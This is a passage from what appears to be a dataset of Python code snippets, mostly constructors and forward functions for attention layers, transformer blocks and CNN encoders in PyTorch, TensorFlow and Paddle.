init_type='gcn')\n v = linear(feature, hidden_size * num_heads, name=name + '_v_weight', init_type='gcn')\n \n \n reshape_q = L.reshape(q, [-1, num_heads, hidden_size])\n reshape_k = L.reshape(k, [-1, num_heads, hidden_size])\n reshape_v = L.reshape(v, [-1, num_heads, hidden_size])\n\n msg = gw.send(\n send_attention,\n nfeat_list=[(\"q_h\", reshape_q), (\"k_h\", reshape_k),\n (\"v_h\", reshape_v)],\n efeat_list=edge_feature)\n out_feat = gw.recv(msg, reduce_attention)\n checkpoints=[out_feat]\n \n if skip_feat:\n if concat:\n\n out_feat, cks = appnp(gw, out_feat, k_hop=3, name=name+\"_appnp\")\n# out_feat, cks = appnp(gw, out_feat, k_hop=3)\n checkpoints.append(out_feat)\n \n# The UniMP-xxlarge will come soon.\n# out_feat, cks = appnp(gw, out_feat, k_hop=6)\n# out_feat, cks = appnp(gw, out_feat, k_hop=9)\n# checkpoints = checkpoints + cks\n\n \n skip_feature = linear(feature, hidden_size * num_heads, name=name + '_skip_weight', init_type='lin')\n else:\n \n skip_feature = linear(feature, hidden_size, name=name + '_skip_weight', init_type='lin')\n \n if gate:\n temp_output = L.concat([skip_feature, out_feat, out_feat - skip_feature], axis=-1)\n gate_f = L.sigmoid(linear(temp_output, 1, name=name + '_gate_weight', init_type='lin'))\n out_feat = skip_feature * gate_f + out_feat * (1 - gate_f)\n else:\n out_feat = skip_feature + out_feat\n \n if layer_norm:\n lay_norm_attr = F.ParamAttr(initializer=F.initializer.ConstantInitializer(value=1))\n lay_norm_bias = F.ParamAttr(initializer=F.initializer.ConstantInitializer(value=0))\n out_feat = L.layer_norm(out_feat, name=name + '_layer_norm', \n param_attr=lay_norm_attr, \n bias_attr=lay_norm_bias,\n scale=False,\n shift=False)\n if relu:\n out_feat = L.relu(out_feat)\n \n return out_feat, reduce_attention.alpha, checkpoints","def build(self, unused_input_shapes):\n\n dense3d_impl = Dense3D\n dense2dprojection_impl = Dense2DProjection\n\n self.attention_layer = CustomAttention(\n num_attention_heads=self.num_attention_heads,\n size_per_head=self.attention_head_size,\n attention_probs_dropout_prob=self.attention_probs_dropout_prob,\n initializer_range=self.initializer_range,\n backward_compatible=self.backward_compatible,\n name=\"self\")\n\n self.attention_output_dense = dense3d_impl(\n num_attention_heads=self.num_attention_heads,\n size_per_head=int(self.hidden_size / self.num_attention_heads),\n kernel_initializer=get_initializer(self.initializer_range),\n output_projection=True,\n backward_compatible=self.backward_compatible,\n name=\"dense\")\n self.attention_dropout = tf.keras.layers.Dropout(\n rate=self.hidden_dropout_prob)\n self.attention_layer_norm = (\n tf.keras.layers.LayerNormalization(\n name=LAYER_NORM_NAME, axis=-1, epsilon=1e-12,\n # We do layer norm in float32 for numeric stability.\n dtype=tf.float32))\n\n self.intermediate_dense = dense2dprojection_impl(\n output_size=self.intermediate_size,\n kernel_initializer=get_initializer(self.initializer_range),\n activation=self.intermediate_activation,\n # Uses float32 so that gelu activation is done in float32.\n fp32_activation=True, name='dense')\n self.output_dense = dense2dprojection_impl(\n output_size=self.hidden_size,\n kernel_initializer=get_initializer(self.initializer_range),\n name='dense')\n self.output_dropout = tf.keras.layers.Dropout(rate=self.hidden_dropout_prob)\n self.output_layer_norm = tf.keras.layers.LayerNormalization(axis=-1,\n epsilon=1e-12, dtype=tf.float32, name=LAYER_NORM_NAME)\n super(CustomTransformerBlock, self).build(unused_input_shapes)","def __init__(self, encoder_size, decoder_size, label_size):\n super(BilinearAttention, self).__init__()\n self.W = nn.Parameter(torch.zeros(label_size, decoder_size, encoder_size))\n self.u = nn.Parameter(torch.zeros(label_size, encoder_size))\n self.v = nn.Parameter(torch.zeros(label_size, decoder_size))\n self.b = nn.Parameter(torch.zeros(label_size))\n \n nn.init.xavier_uniform_(self.W)\n nn.init.xavier_uniform_(self.u)\n nn.init.xavier_uniform_(self.v)","def __init__(self, vilt_layer, config):\n super().__init__(config)\n self.in_proj_weight = nn.Parameter(torch.cat([vilt_layer.attention.attention.query.weight, vilt_layer.attention.attention.key.weight, vilt_layer.attention.attention.value.weight]))\n self.in_proj_bias = nn.Parameter(torch.cat([vilt_layer.attention.attention.query.bias, vilt_layer.attention.attention.key.bias, vilt_layer.attention.attention.value.bias]))\n self.out_proj_weight = vilt_layer.attention.output.dense.weight\n self.out_proj_bias = vilt_layer.attention.output.dense.bias\n self.linear1_weight = vilt_layer.intermediate.dense.weight\n self.linear1_bias = vilt_layer.intermediate.dense.bias\n self.linear2_weight = vilt_layer.output.dense.weight\n self.linear2_bias = vilt_layer.output.dense.bias\n self.norm1_eps = vilt_layer.layernorm_before.eps\n self.norm1_weight = vilt_layer.layernorm_before.weight\n self.norm1_bias = vilt_layer.layernorm_before.bias\n self.norm2_eps = vilt_layer.layernorm_after.eps\n self.norm2_weight = vilt_layer.layernorm_after.weight\n self.norm2_bias = vilt_layer.layernorm_after.bias\n self.num_heads = vilt_layer.attention.attention.num_attention_heads\n self.embed_dim = int(vilt_layer.attention.attention.attention_head_size * self.num_heads)\n self.is_last_layer = False\n self.norm_first = True\n self.validate_bettertransformer()","def __init__(self, **config):\n super(CNN, self).__init__()\n in_channel = [26] + config['cnn_target_filters']\n kernels = config['cnn_target_kernels']\n self.layer_size = len(config['cnn_target_filters'])\n self.visual_attention=config['visual_attention']\n self.concatenation=config['concatenation']\n self.convs = nn.ModuleList([nn.Conv1d(in_channels=in_channel[i],\n out_channels=in_channel[i + 1],\n kernel_size=kernels[i]) for i in range(self.layer_size)])\n self.convs = self.convs.float()\n self.attention = config['attention']\n protein_size = self.simulate_output((26, 1000))\n self.fc = nn.Linear(protein_size, config['hidden_dim_protein'])\n self.Attention=Attention(**config)","def __init__(self, layer, config):\n super().__init__(config)\n self.in_proj_weight = nn.Parameter(torch.cat([layer.self_attn.q_proj.weight, layer.self_attn.k_proj.weight, layer.self_attn.v_proj.weight]))\n self.in_proj_bias = nn.Parameter(torch.cat([layer.self_attn.q_proj.bias, layer.self_attn.k_proj.bias, layer.self_attn.v_proj.bias]))\n self.out_proj_weight = layer.self_attn.out_proj.weight\n self.out_proj_bias = layer.self_attn.out_proj.bias\n self.linear1_weight = layer.mlp.fc1.weight\n self.linear1_bias = layer.mlp.fc1.bias\n self.linear2_weight = layer.mlp.fc2.weight\n self.linear2_bias = layer.mlp.fc2.bias\n self.norm1_eps = layer.layer_norm1.eps\n self.norm1_weight = layer.layer_norm1.weight\n self.norm1_bias = layer.layer_norm1.bias\n self.norm2_eps = layer.layer_norm2.eps\n self.norm2_weight = layer.layer_norm2.weight\n self.norm2_bias = layer.layer_norm2.bias\n self.num_heads = layer.self_attn.num_heads\n self.embed_dim = layer.self_attn.embed_dim\n self.is_last_layer = False\n self.norm_first = True\n self.validate_bettertransformer()","def __init__(self, # noqa: R0913\n hid_dim,\n n_heads,\n pf_dim,\n dropout):\n\n super().__init__()\n\n self.self_attn_layer_norm = nn.LayerNorm(hid_dim)\n self.ff_layer_norm = nn.LayerNorm(hid_dim)\n self.self_attention = MultiHeadAttentionLayer(hid_dim, n_heads, dropout)\n self.positionwise_feedforward = PositionwiseFeedforwardLayer(hid_dim,\n pf_dim,\n dropout)\n self.dropout = nn.Dropout(dropout)","def graph_transformer(\n gw,\n feature,\n edge_feature,\n hidden_size,\n name, \n num_heads=4,\n attn_drop=False,\n concat=True,\n skip_feat=True,\n gate=False,\n norm=True, \n relu=True, \n is_test=False):\n def send_attention(src_feat, dst_feat, edge_feat):\n if edge_feat is None or not edge_feat:\n output = src_feat[\"k_h\"] * dst_feat[\"q_h\"]\n output = L.reduce_sum(output, -1)\n output = output / (hidden_size ** 0.5)\n return {\"alpha\": output, \"v\": src_feat[\"v_h\"]} # batch x h batch x h x feat\n else:\n edge_feat = edge_feat[\"edge\"]\n edge_feat = L.reshape(edge_feat, [-1, num_heads, hidden_size])\n output = (src_feat[\"k_h\"] + edge_feat) * dst_feat[\"q_h\"]\n output = L.reduce_sum(output, -1)\n output = output / (hidden_size ** 0.5)\n return {\"alpha\": output, \"v\": (src_feat[\"v_h\"] + edge_feat)} # batch x h batch x h x feat\n \n class Reduce_attention():\n def __init__(self,):\n self.alpha = None\n def __call__(self, msg):\n alpha = msg[\"alpha\"] # lod-tensor (batch_size, num_heads)\n if attn_drop:\n old_h = alpha\n dropout = F.data(name='attn_drop', shape=[1], dtype=\"int64\")\n u = L.uniform_random(shape=L.cast(L.shape(alpha)[:1], 'int64'), min=0., max=1.)\n keeped = L.cast(u > dropout, dtype=\"float32\")\n self_attn_mask = L.scale(x=keeped, scale=10000.0, bias=-1.0, bias_after_scale=False)\n n_head_self_attn_mask = L.stack( x=[self_attn_mask] * num_heads, axis=1)\n n_head_self_attn_mask.stop_gradient = True\n alpha = n_head_self_attn_mask+ alpha\n alpha = L.lod_reset(alpha, old_h)\n\n h = msg[\"v\"]\n alpha = paddle_helper.sequence_softmax(alpha)\n self.alpha = alpha\n old_h = h\n h = h * alpha\n h = L.lod_reset(h, old_h)\n h = L.sequence_pool(h, \"sum\")\n if concat:\n h = L.reshape(h, [-1, num_heads * hidden_size])\n else:\n h = L.reduce_mean(h, dim=1)\n return h\n reduce_attention = Reduce_attention()\n \n q = linear(feature, hidden_size * num_heads, name=name + '_q_weight', init_type='gcn')\n k = linear(feature, hidden_size * num_heads, name=name + '_k_weight', init_type='gcn')\n v = linear(feature, hidden_size * num_heads, name=name + '_v_weight', init_type='gcn')\n \n \n reshape_q = L.reshape(q, [-1, num_heads, hidden_size])\n reshape_k = L.reshape(k, [-1, num_heads, hidden_size])\n reshape_v = L.reshape(v, [-1, num_heads, hidden_size])\n\n msg = gw.send(\n send_attention,\n nfeat_list=[(\"q_h\", reshape_q), (\"k_h\", reshape_k),\n (\"v_h\", reshape_v)],\n efeat_list=[('edge', edge_feature)])\n out_feat = gw.recv(msg, reduce_attention)\n \n if skip_feat:\n if concat:\n skip_feature = linear(feature, hidden_size * num_heads, name=name + '_skip_weight', init_type='lin')\n else:\n skip_feature = linear(feature, hidden_size, name=name + '_skip_weight', init_type='lin')\n \n if gate:\n temp_output = L.concat([skip_feature, out_feat, out_feat - skip_feature], axis=-1)\n gate_f = L.sigmoid(linear(temp_output, 1, name=name + '_gate_weight', init_type='lin'))\n out_feat = skip_feature * gate_f + out_feat * (1 - gate_f)\n else:\n out_feat = skip_feature + out_feat\n \n if norm:\n out_feat = layer_norm(out_feat, name=\"ln_%s\" % name)\n\n if relu:\n out_feat = L.relu(out_feat)\n \n return out_feat","def __init__(self, vit_layer, config):\n super().__init__(config)\n self.in_proj_weight = nn.Parameter(torch.cat([vit_layer.attention.attention.query.weight, vit_layer.attention.attention.key.weight, vit_layer.attention.attention.value.weight]))\n self.in_proj_bias = nn.Parameter(torch.cat([vit_layer.attention.attention.query.bias, vit_layer.attention.attention.key.bias, vit_layer.attention.attention.value.bias]))\n self.out_proj_weight = vit_layer.attention.output.dense.weight\n self.out_proj_bias = vit_layer.attention.output.dense.bias\n self.linear1_weight = vit_layer.intermediate.dense.weight\n self.linear1_bias = vit_layer.intermediate.dense.bias\n self.linear2_weight = vit_layer.output.dense.weight\n self.linear2_bias = vit_layer.output.dense.bias\n self.norm1_eps = vit_layer.layernorm_before.eps\n self.norm1_weight = vit_layer.layernorm_before.weight\n self.norm1_bias = vit_layer.layernorm_before.bias\n self.norm2_eps = vit_layer.layernorm_after.eps\n self.norm2_weight = vit_layer.layernorm_after.weight\n self.norm2_bias = vit_layer.layernorm_after.bias\n self.num_heads = vit_layer.attention.attention.num_attention_heads\n self.embed_dim = int(vit_layer.attention.attention.attention_head_size * self.num_heads)\n self.is_last_layer = False\n self.norm_first = True\n self.validate_bettertransformer()","def __init__(self, bert_layer, config):\n super().__init__(config)\n self.in_proj_weight = nn.Parameter(torch.cat([bert_layer.attention.q_lin.weight, bert_layer.attention.k_lin.weight, bert_layer.attention.v_lin.weight]))\n self.in_proj_bias = nn.Parameter(torch.cat([bert_layer.attention.q_lin.bias, bert_layer.attention.k_lin.bias, bert_layer.attention.v_lin.bias]))\n self.out_proj_weight = bert_layer.attention.out_lin.weight\n self.out_proj_bias = bert_layer.attention.out_lin.bias\n self.linear1_weight = bert_layer.ffn.lin1.weight\n self.linear1_bias = bert_layer.ffn.lin1.bias\n self.linear2_weight = bert_layer.ffn.lin2.weight\n self.linear2_bias = bert_layer.ffn.lin2.bias\n self.norm1_eps = bert_layer.sa_layer_norm.eps\n self.norm1_weight = bert_layer.sa_layer_norm.weight\n self.norm1_bias = bert_layer.sa_layer_norm.bias\n self.norm2_eps = bert_layer.output_layer_norm.eps\n self.norm2_weight = bert_layer.output_layer_norm.weight\n self.norm2_bias = bert_layer.output_layer_norm.bias\n self.num_heads = bert_layer.attention.n_heads\n self.embed_dim = bert_layer.attention.dim\n self.is_last_layer = False\n self.validate_bettertransformer()","def build(self, input_shape):\n if hasattr(self, \"timesteps\") and self.timesteps is not None:\n self.timestep_dim = self.timesteps\n else:\n self.timestep_dim = 1 # input_shape[0]\n\n self.input_dim = input_shape[-1]\n\n self.kernel = self.add_weight(\n shape=(self.input_dim, self.units * 4),\n name=\"kernel\",\n initializer=self.kernel_initializer,\n regularizer=self.kernel_regularizer,\n constraint=self.kernel_constraint,\n )\n self.recurrent_kernel = self.add_weight(\n shape=(self.units, self.units * 4),\n name=\"recurrent_kernel\",\n initializer=self.recurrent_initializer,\n regularizer=self.recurrent_regularizer,\n constraint=self.recurrent_constraint,\n )\n\n # add attention kernel\n self.attention_kernel = self.add_weight(\n shape=(self.input_dim, self.units * 4),\n name=\"attention_kernel\",\n initializer=self.attention_initializer,\n regularizer=self.attention_regularizer,\n constraint=self.attention_constraint,\n )\n\n # add attention weights\n # weights for attention model\n self.attention_weights = self.add_weight(\n shape=(self.input_dim, self.units),\n name=\"attention_W\",\n initializer=self.attention_initializer,\n regularizer=self.attention_regularizer,\n constraint=self.attention_constraint,\n )\n\n self.attention_recurrent_weights = self.add_weight(\n shape=(self.units, self.units),\n name=\"attention_U\",\n initializer=self.recurrent_initializer,\n regularizer=self.recurrent_regularizer,\n constraint=self.recurrent_constraint,\n )\n\n if self.use_bias:\n if self.unit_forget_bias:\n\n def bias_initializer(shape, *args, **kwargs):\n return K.concatenate(\n [\n self.bias_initializer((self.units,), *args, **kwargs),\n initializers.Ones()((self.units,), *args, **kwargs),\n self.bias_initializer(\n (self.units * 2,), *args, **kwargs\n ),\n ]\n )\n\n else:\n bias_initializer = self.bias_initializer\n self.bias = self.add_weight(\n shape=(self.units * 4,),\n name=\"bias\",\n initializer=bias_initializer,\n regularizer=self.bias_regularizer,\n constraint=self.bias_constraint,\n )\n\n self.attention_bias = self.add_weight(\n shape=(self.units,),\n name=\"attention_b\",\n initializer=self.bias_initializer,\n regularizer=self.bias_regularizer,\n constraint=self.bias_constraint,\n )\n\n self.attention_recurrent_bias = self.add_weight(\n shape=(self.units, 1),\n name=\"attention_v\",\n initializer=self.bias_initializer,\n regularizer=self.bias_regularizer,\n constraint=self.bias_constraint,\n )\n else:\n self.bias = None\n self.attention_bias = None\n self.attention_recurrent_bias = None\n\n self.kernel_i = self.kernel[:, : self.units]\n self.kernel_f = self.kernel[:, self.units : self.units * 2]\n self.kernel_c = self.kernel[:, self.units * 2 : self.units * 3]\n self.kernel_o = self.kernel[:, self.units * 3 :]\n\n self.recurrent_kernel_i = self.recurrent_kernel[:, : self.units]\n self.recurrent_kernel_f = self.recurrent_kernel[\n :, self.units : self.units * 2\n ]\n self.recurrent_kernel_c = self.recurrent_kernel[\n :, self.units * 2 : self.units * 3\n ]\n self.recurrent_kernel_o = self.recurrent_kernel[:, self.units * 3 :]\n\n self.attention_i = self.attention_kernel[:, : self.units]\n self.attention_f = self.attention_kernel[:, self.units : self.units * 2]\n self.attention_c = self.attention_kernel[:, self.units * 2 : self.units * 3]\n self.attention_o = self.attention_kernel[:, self.units * 3 :]\n\n if self.use_bias:\n self.bias_i = self.bias[: self.units]\n self.bias_f = self.bias[self.units : self.units * 2]\n self.bias_c = self.bias[self.units * 2 : self.units * 3]\n self.bias_o = self.bias[self.units * 3 :]\n else:\n self.bias_i = None\n self.bias_f = None\n self.bias_c = None\n self.bias_o = None\n\n self.built = True","def __init__(self, fc_hidden1=512, fc_hidden2=512, drop_p=0.3, CNN_embed_dim=300):\n super(ResnetEncoder, self).__init__()\n\n self.fc_hidden1, self.fc_hidden2 = fc_hidden1, fc_hidden2\n self.drop_p = drop_p\n self.inter = 64\n self.final = 6\n\n self.resnet = models.resnet50(pretrained=True)\n modules = list(self.resnet.children())[:-1] # delete the last fc layer.\n self.resnet = nn.Sequential(*modules)\n self.fc1 = nn.Linear(resnet.fc.in_features, fc_hidden1)\n self.bn1 = nn.BatchNorm1d(fc_hidden1, momentum=0.01)\n self.fc2 = nn.Linear(fc_hidden1, fc_hidden2)\n self.bn2 = nn.BatchNorm1d(fc_hidden2, momentum=0.01)\n self.fc3 = nn.Linear(fc_hidden2, CNN_embed_dim)\n self.fc4 = nn.Linear(CNN_embed_dim, self.inter)\n self.fc5 = nn.Linear(self.inter, self.final)","def __init__(self, fc_hidden1=512, fc_hidden2=512, drop_p=0.3, CNN_embed_dim=300):\n super(ResCNNEncoder, self).__init__()\n\n self.fc_hidden1, self.fc_hidden2 = fc_hidden1, fc_hidden2\n self.drop_p = drop_p\n\n resnet = models.resnet50(pretrained=True)\n modules = list(resnet.children())[:-1] # delete the last fc layer.\n self.resnet = nn.Sequential(*modules)\n self.fc1 = nn.Linear(resnet.fc.in_features, fc_hidden1)\n self.bn1 = nn.BatchNorm1d(fc_hidden1, momentum=0.01)\n self.fc2 = nn.Linear(fc_hidden1, fc_hidden2)\n self.bn2 = nn.BatchNorm1d(fc_hidden2, momentum=0.01)\n self.fc3 = nn.Linear(fc_hidden2, CNN_embed_dim)","def __init__(self, n_latent_features=1024, reduced_size=64, activation=ReLU()):\n\n super().__init__()\n self.logger = logging.getLogger(AutoEncoderConvolutional.__name__)\n self.n_latent_features = n_latent_features\n self.reduced_size = reduced_size\n self.middle_layer_size = int(16 * self.reduced_size / 4 * self.reduced_size / 4)\n self.activation = activation\n\n self.logger.info(\"Construct model..\")\n self.encode_conv1 = nn.Conv2d(3, 6, kernel_size=3, padding=1)\n self.encode_pool1 = nn.MaxPool2d(2, stride=2)\n self.encode_conv2 = nn.Conv2d(6, 16, kernel_size=3, padding=1)\n self.encode_pool2 = nn.MaxPool2d(2, stride=2)\n self.encode_fc = nn.Linear(self.middle_layer_size, self.n_latent_features)\n\n self.decode_fc = nn.Linear(self.n_latent_features, self.middle_layer_size)\n self.decode_conv1 = nn.ConvTranspose2d(16, 6, kernel_size=2, stride=2)\n self.decode_conv2 = nn.ConvTranspose2d(6, 3, kernel_size=2, stride=2)\n\n self.reset_weights()\n\n self.logger.info(\"Finished instantiation\")","def __init__(self, num_mels=80, num_freq=513, prenet_hidden_size=512, decoder_hidden_size=512,\n attention_dropout=0.1,\n layer_postprocess_dropout=0.1, prenet_activation_fn=None, conv_layers_num=4,\n mag_conv_layers_num=4, prenet_layers=2,\n prenet_dropout=0.5,\n prenet_use_inference_dropout=False,\n cnn_dropout_prob=0.1,\n bn_momentum=0.95,\n bn_epsilon=-1e8,\n reduction_factor=2,\n attention_layers=4,\n self_attention_conv_params=None,\n attention_heads=1,\n attention_cnn_dropout_prob=0.5,\n window_size=4,\n back_step_size=0, kernel_size=5, regularizer=None,\n force_layers=None, dtype=tf.float32, name=\"centaur_decoder\", is_prediction=False, is_training=False,\n is_validation=False):\n self.kernel_size = kernel_size\n\n if force_layers is None:\n force_layers = [1, 3]\n self.is_validation = is_validation\n self.is_prediction = is_prediction\n self.name = name\n self.is_training = is_training\n self.prenet = None\n self.linear_projection = None\n self.attentions = []\n self.output_normalization = None\n self.conv_layers = []\n self.mag_conv_layers = []\n self.conv_layers_num = conv_layers_num\n self.mag_conv_layers_num = mag_conv_layers_num\n self.stop_token_projection_layer = None\n self.mel_projection_layer = None\n self.mag_projection_layer = None\n self.regularizer = regularizer\n self.num_mels = num_mels\n self.num_freq = num_freq\n self.reduction_factor = reduction_factor\n self.prenet_layers = prenet_layers\n self.prenet_hidden_size = prenet_hidden_size\n self.prenet_activation_fn = prenet_activation_fn if prenet_activation_fn else tf.nn.relu\n self.prenet_use_inference_dropout = prenet_use_inference_dropout\n self.prenet_dropout = prenet_dropout\n self.cnn_dropout_prob = cnn_dropout_prob\n self.dtype = dtype\n self.bn_momentum = bn_momentum\n self.bn_epsilon = bn_epsilon\n self.decoder_hidden_size = decoder_hidden_size\n self.attention_layers = attention_layers\n self.force_layers = force_layers\n\n self.window_size = window_size\n self.attention_heads = attention_heads\n self.attention_dropout = attention_dropout\n self.layer_postprocess_dropout = layer_postprocess_dropout\n self.attention_cnn_dropout_prob = attention_cnn_dropout_prob\n self.back_step_size = back_step_size\n if self_attention_conv_params is None:\n self_attention_conv_params = {\n \"kernel_size\": [self.kernel_size],\n \"stride\": [1],\n \"num_channels\": self.decoder_hidden_size,\n \"padding\": \"VALID\",\n \"is_causal\": True,\n \"activation_fn\": tf.nn.relu\n }\n self.self_attention_conv_params = self_attention_conv_params","def get_attention(self, X):\n if self.bn:\n layer = 16\n else:\n layer = 14\n inputs = [K.learning_phase()] + [self.model.inputs[0]]\n _attention_f = K.function(inputs, [\n self.model.layers[layer].output])\n \n return _attention_f([0] + [X])","def __init__(self, embed_size, dropout=0.5, image_model='resnet101', simple=False, pretrained=True):\n super(EncoderCNN, self).__init__()\n resnet = globals()[image_model](pretrained=pretrained)\n modules = list(resnet.children())[:-2] # delete the last fc layer.\n self.resnet = nn.Sequential(*modules)\n \n self.linear = nn.Sequential(nn.Conv2d(resnet.fc.in_features, embed_size, kernel_size=1, padding=0),\n nn.Dropout2d(dropout))\n\n self.simple = simple\n if simple:\n self.avgpool = nn.AdaptiveAvgPool2d((1, 1))","def _attention(self, inputs):\n attn_weights = K.batch_dot(x=inputs,\n y=K.permute_dimensions(inputs,\n pattern=(0, 2, 1)))\n return K.permute_dimensions(attn_weights, (0, 2, 1))","def __init__(self, input_dims, hidden_dims, output_dims, extra_dims, actfn, pre_layers=None):\n super().__init__()\n self.extra_dims = extra_dims\n\n layers = []\n if pre_layers is not None:\n if not isinstance(pre_layers, list):\n layers += [pre_layers]\n else:\n layers += pre_layers\n hidden_dims = [input_dims] + hidden_dims\n for i in range(len(hidden_dims)-1):\n if not isinstance(layers[-1], EmbedLayer): # After an embedding layer, we directly apply a non-linearity\n layers += [MultivarLinear(input_dims=hidden_dims[i],\n output_dims=hidden_dims[i+1],\n extra_dims=extra_dims)]\n layers += [actfn()]\n layers += [MultivarLinear(input_dims=hidden_dims[-1],\n output_dims=output_dims,\n extra_dims=extra_dims)]\n self.layers = nn.ModuleList(layers)","def forward(self, h_t, mem):\n\n # ==\n # Compute non-sparse attention\n cur_mem_size = mem.size(0)\n batch_size = mem.size(1)\n\n # Repeat h_t from (batch, hid_dim) to (mem_size, batch, hid_dim)\n # one for each memory slot\n h_repeated = (h_t.clone().unsqueeze(0)\n .repeat(cur_mem_size, 1, 1))\n\n # Concat to [h_t, memory], shape (mem_size, batch, hid_dim*2)\n mlp_h_attn = torch.cat((h_repeated, mem), dim=2)\n\n # (Optional) block past attention gradient\n if self.block_attn_grad_past:\n mlp_h_attn = mlp_h_attn.detach()\n\n # Compute attention via tanh then matmul with weight matrix\n # Weight matrix has shape (hid_dim * 2 , 1)\n # Output (attn_w) has shape (mem_size, batch, 1)\n mlp_h_attn = self.tanh(mlp_h_attn)\n attn_w = torch.matmul(mlp_h_attn, self.w_t)\n\n # ==\n # Sparsify attention: set top-k to non-zero and normalize\n attn_w = attn_w.view(cur_mem_size, batch_size)\n attn_w = self.sparse_attention(attn_w)\n attn_w = attn_w.view(cur_mem_size, batch_size, 1)\n\n # ==\n # Extract from memory using attention\n attn_w_rep = attn_w.repeat(1, 1, self.hidden_size)\n h_mem_w = attn_w_rep * mem # (mem_size, batch, hid_dim)\n\n # Attention-extracted memory information\n m_t = torch.sum(h_mem_w, dim=0) # (batch, hid_dim)\n\n return m_t","def attention(inp, scope, e_dim, past, config):\n assert inp.shape.ndims == 3 # input should be of shape [batch, seqlen, embeddings] # [batch, sequence, features]\n assert e_dim % config.num_heads == 0 # embedding can be split in heads\n\n if past is not None:\n assert past.shape.ndims == 5 # [batch, 2, heads, seqlen, emebeddings]\n\n def split_heads(x):\n out = split_into_n_states(x, config.num_heads)\n out = tf.transpose(out, [0, 2, 1, 3])\n return out\n\n def merge_heads(x):\n out = merge_n_states(tf.transpose(x, [0, 2, 1, 3]))\n return out\n\n def mask_attention_weights(w):\n # w should have shape [batches, heads, dst_seq, src_seq], where information flows from scr to dst\n _, _, nd, ns = shapes_list(w)\n b = attention_mask(nd, ns, w.dtype)\n b = tf.reshape(b, [1, 1, nd, ns])\n w = w * b - tf.cast(1e10, w.dtype) * (1 - b)\n return w\n\n def multihead_attention(q, k, v):\n w = tf.matmul(q, k, transpose_b=True)\n w *= tf.rsqrt(tf.cast(v.shape[-1].value, w.dtype))\n\n # mask attention weights\n w = mask_attention_weights(w)\n w = softmax_with_reduce_max(w)\n out = tf.matmul(w, v)\n return out\n\n with tf.variable_scope(scope):\n c = conv1d(inp, 'convolutional_attention', e_dim * 3)\n q, k, v = map(split_heads, tf.split(c, 3, axis=2))\n present = tf.stack([k, v], axis=1)\n if past is not None:\n # there is a stack below it\n pk, pv = tf.unstack(past, axis=1)\n k = tf.concat([pk, k], axis=2)\n v = tf.concat([pv, v], axis=2)\n\n attn = multihead_attention(q, k, v)\n attn = merge_heads(attn)\n\n out = conv1d(attn, 'convolutional_projection', e_dim)\n return out, present","def output_layer_activation(x):\n return x","def __init__(self, in_dim, activation):\r\n super(Self_Attn, self).__init__()\r\n self.input_channel = in_dim\r\n self.activation = activation\r\n self.k = 8\r\n self.query = nn.Conv2d(self.input_channel, self.input_channel // self.k, kernel_size=1)\r\n self.key = nn.Conv2d(self.input_channel, self.input_channel // self.k, kernel_size=1)\r\n self.value = nn.Conv2d(self.input_channel, self.input_channel, kernel_size=1)\r\n self.h = nn.Conv2d(self.input_channel, self.input_channel, kernel_size=1)\r\n self.gamma = nn.Parameter(torch.zeros(1), requires_grad=True)\r\n self.softmax = nn.Softmax(dim=-1)","def __init__(self, embed_size):\n super(ImgAttentionEncoder, self).__init__()\n vggnet_feat = models.vgg19(pretrained=True).features\n modules = list(vggnet_feat.children())[:-2]\n self.cnn = nn.Sequential(*modules)\n self.fc = nn.Sequential(nn.Linear(self.cnn[-3].out_channels, embed_size),\n nn.Tanh()) # feature vector of image","def init_layers(self):\n self.user_emb = nn.Embedding(self.n_users, self.emb_dim)\n self.item_emb = nn.Embedding(self.n_items, self.emb_dim)\n init_range = 0.1 * (self.emb_dim) ** (-1 / 2)\n self.item_emb.weight.data.uniform_(-init_range, init_range)\n self.fc_u_1_mu = nn.Linear(self.user_fea_dim, self.late_dim)\n self.fc_u_2_mu = nn.Linear(self.late_dim, self.emb_dim * 2)\n self.fc_i_1_mu = nn.Linear(self.item_fea_dim, self.late_dim)\n self.fc_i_2_mu = nn.Linear(self.late_dim, self.emb_dim * 2)","def __init__(self, # noqa: R0913\n hid_dim,\n n_heads,\n pf_dim,\n dropout):\n super().__init__()\n\n self.self_attn_layer_norm = nn.LayerNorm(hid_dim)\n self.enc_attn_layer_norm = nn.LayerNorm(hid_dim)\n self.ff_layer_norm = nn.LayerNorm(hid_dim)\n self.self_attention = MultiHeadAttentionLayer(hid_dim, n_heads, dropout)\n self.encoder_attention = MultiHeadAttentionLayer(hid_dim, n_heads, dropout)\n self.positionwise_feedforward = PositionwiseFeedforwardLayer(hid_dim,\n pf_dim,\n dropout)\n self.dropout = nn.Dropout(dropout)","def __init__(self, fsmt_layer, config):\n super().__init__(config)\n self.in_proj_weight = nn.Parameter(torch.cat([fsmt_layer.self_attn.q_proj.weight, fsmt_layer.self_attn.k_proj.weight, fsmt_layer.self_attn.v_proj.weight]))\n self.in_proj_bias = nn.Parameter(torch.cat([fsmt_layer.self_attn.q_proj.bias, fsmt_layer.self_attn.k_proj.bias, fsmt_layer.self_attn.v_proj.bias]))\n self.out_proj_weight = fsmt_layer.self_attn.out_proj.weight\n self.out_proj_bias = fsmt_layer.self_attn.out_proj.bias\n self.linear1_weight = fsmt_layer.fc1.weight\n self.linear1_bias = fsmt_layer.fc1.bias\n self.linear2_weight = fsmt_layer.fc2.weight\n self.linear2_bias = fsmt_layer.fc2.bias\n self.norm1_eps = fsmt_layer.self_attn_layer_norm.eps\n self.norm1_weight = fsmt_layer.self_attn_layer_norm.weight\n self.norm1_bias = fsmt_layer.self_attn_layer_norm.bias\n self.norm2_eps = fsmt_layer.final_layer_norm.eps\n self.norm2_weight = fsmt_layer.final_layer_norm.weight\n self.norm2_bias = fsmt_layer.final_layer_norm.bias\n self.num_heads = fsmt_layer.self_attn.num_heads\n self.embed_dim = fsmt_layer.self_attn.embed_dim\n self.is_last_layer = False\n self.validate_bettertransformer()","def forward(self, inputs):\n x_wrd = self.lookup(inputs)\n\n # bilinear attention\n x_avg = x_wrd.mean(dim=1)\n x = x_wrd.matmul(self.M)\n x = x.matmul(x_avg.unsqueeze(1).transpose(1, 2))\n if self.b is not None:\n x += self.b\n\n x = F.tanh(x) \n a = F.softmax(x, dim=1)\n\n z = a.transpose(1, 2).matmul(x_wrd)\n z = z.squeeze()\n if z.dim() == 1:\n return z.unsqueeze(0)\n return z","def local_self_attention_layer(hparams, prefix):\n return transformer_layers.LocalSelfAttention(\n num_heads=hparams.get(prefix + \"num_heads\"),\n num_memory_heads=hparams.get(prefix + \"num_memory_heads\"),\n radius=hparams.local_attention_radius,\n key_value_size=hparams.d_kv,\n shared_kv=hparams.get(prefix + 